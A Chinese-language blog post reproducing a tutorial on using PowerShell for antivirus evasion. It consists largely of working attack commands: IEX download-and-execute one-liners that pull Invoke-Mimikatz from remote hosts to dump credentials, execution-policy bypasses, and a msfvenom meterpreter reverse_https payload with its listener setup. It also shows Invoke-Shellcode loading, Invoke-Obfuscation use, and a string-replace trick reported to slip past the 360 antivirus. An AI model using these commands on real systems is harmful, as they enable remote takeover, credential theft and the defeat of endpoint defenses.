powershell实现免杀(复现)

powershell实现免杀(复现)

本篇为远控免杀从入门到实践(6)-代码篇-Powershell复现篇

基础知识

UNIX系统一直有着功能强大的壳程序(shell),Windows PowerShell的诞生就是要提供功能相当于UNIX系统的命令行壳程序(例如:sh、bash或csh),同时也内置脚本语言以及辅助脚本程序的工具,使命令行用户和脚本编写者可以利用 .NET Framework的强大功能。

powershell具有在硬盘中易绕过,内存中难查杀的特点。一般在后渗透中,攻击者可以在计算机上执行代码时,会下载powershell脚本来执行,ps1脚本文件无需写入到硬盘中,直接可以在内存中执行。

版本目录

powershell只能针对win7之后的系统,之前的win操作系统默认没有安装powershell。不同架构的payload(x86或x64)需要不同版本的powershell来加载,否则会出错。

64位所在目录:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

32位所在目录:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

执行方式

  1. 网络环境直接执行代码

无文件写入,相对较为隐蔽。下面代码为加载远程脚本Invoke-Mimikatz.ps1,执行Mimikatz的DumpCreds功能。

powershell "IEX (New-Object Net.WebClient).DownloadString('http://10.211.55.2/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds"
  1. 本地执行

先把http://10.211.55.2/Invoke-Mimikatz.ps1下载到本地

然后导入powershell Import-Module .\Invoke-Mimikatz.ps1

使用命令Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonPasswords full"'

或者Invoke-Mimikatz -DumpCreds

执行策略

查看执行策略powershell Get-ExecutionPolicy

Unrestricted 权限最高,可以不受限制执行任意脚本

Restricted 默认策略,不允许任意脚本的执行

AllSigned 所有脚本必须经过签名运行

RemoteSigned 本地脚本无限制,但是对来自网络的脚本必须经过签名

Bypass 没有任何限制和提示

Undefined 没有设置脚本的策略

绕过执行策略执行大概有以下几种:

1.本地读取然后通过管道符运行

powershell Get-Content 1.ps1 | powershell -NoProfile -

2.远程下载并通过IEX运行脚本

powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://47.94.80.129/ps/a.ps1')"

3.Bypass执行策略绕过

powershell -ExecutionPolicy bypass -File ./a.ps1

不会显示警告和提示

4.Unrestricted执行策略标志

powershell -ExecutionPolicy unrestricted -File ./a.ps1

当运行一个从网上下载的未签名的脚本时,会给出权限提示

需要解释的是:

Invoke-Expression(IEX的别名):用来把字符串当作命令执行。
WindowStyle Hidden(-w Hidden):隐藏窗口
Nonlnteractive(-NonI):非交互模式,PowerShell不为用户提供交互的提示。
NoProfile(-NoP):PowerShell控制台不加载当前用户的配置文件。
Noexit(-Noe):执行后不退出Shell。
EncodedCommand(-enc): 接受base64 encode的字符串编码,避免一些解析问题

powershell加载shellcode

msf-ps1本地执行

加入shikata_ga_nai编码的ps1脚本生成payload:

msfvenom -p  windows/x64/meterpreter/reverse_https -e x86/shikata_ga_nai -i 20 -b '\x00' lhost=192.168.211.147 lport=3333 -f psh -o shell3.ps1

将shell.ps1拷贝到目标机上,执行

powershell.exe -ExecutionPolicy Bypass -NoExit -File  shell.ps1

msf:

use exploit/multi/handler
set payload /windows/x64/meterpreter/reverse_https
set LHOST ip
set LPORT 
run

实际效果不佳,还是会报警

增加编码次数还是会报警

Invoke-Shellcode加载

IEX(New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/CodeExecution/Invoke-Shellcode.ps1")

IEX(New-Object Net.WebClient).DownloadString("http://192.168.211.147:1337/shell3.ps1")

Invoke-Shellcode -Shellcode ($buf) -Force

实际中用powershell执行远程下载或执行shellcode时,容易触发杀软行为规则

Invoke-Obfuscation

Invoke-Obfuscation

加载Invoke-Obfuscation:

在powershell中执行Import-Module .\Invoke-Obfuscation.psd1; Invoke-Obfuscation

选择免杀文件:

set scriptpath

选择编码方式:

encoding

输出免杀文件:

免杀成功

msf成功上线

ps1行为免杀

对于IEX这种方便快捷的方式直接运行会被360拦截。可尝试从语法上简单变化。主要是对DownloadString、http做一些处理。

比如利用replace替换函数,可以bypass。

powershell -NoExit "$c1='IEX(New-Object Net.WebClient).Downlo';$c2='123(''http://10.211.55.2/shell.ps1'')'.Replace('123','adString');IEX ($c1+$c2)"

此payload已经被杀,需要根据实际进行更改

总结

复现Tide安全团队的免杀篇,目前基于静态特征免杀和一部分行为免杀,其他免杀方式将在后续陆续学习

posted @ 2022-03-20 10:39  kar3a  阅读(2252)  评论(0编辑  收藏  举报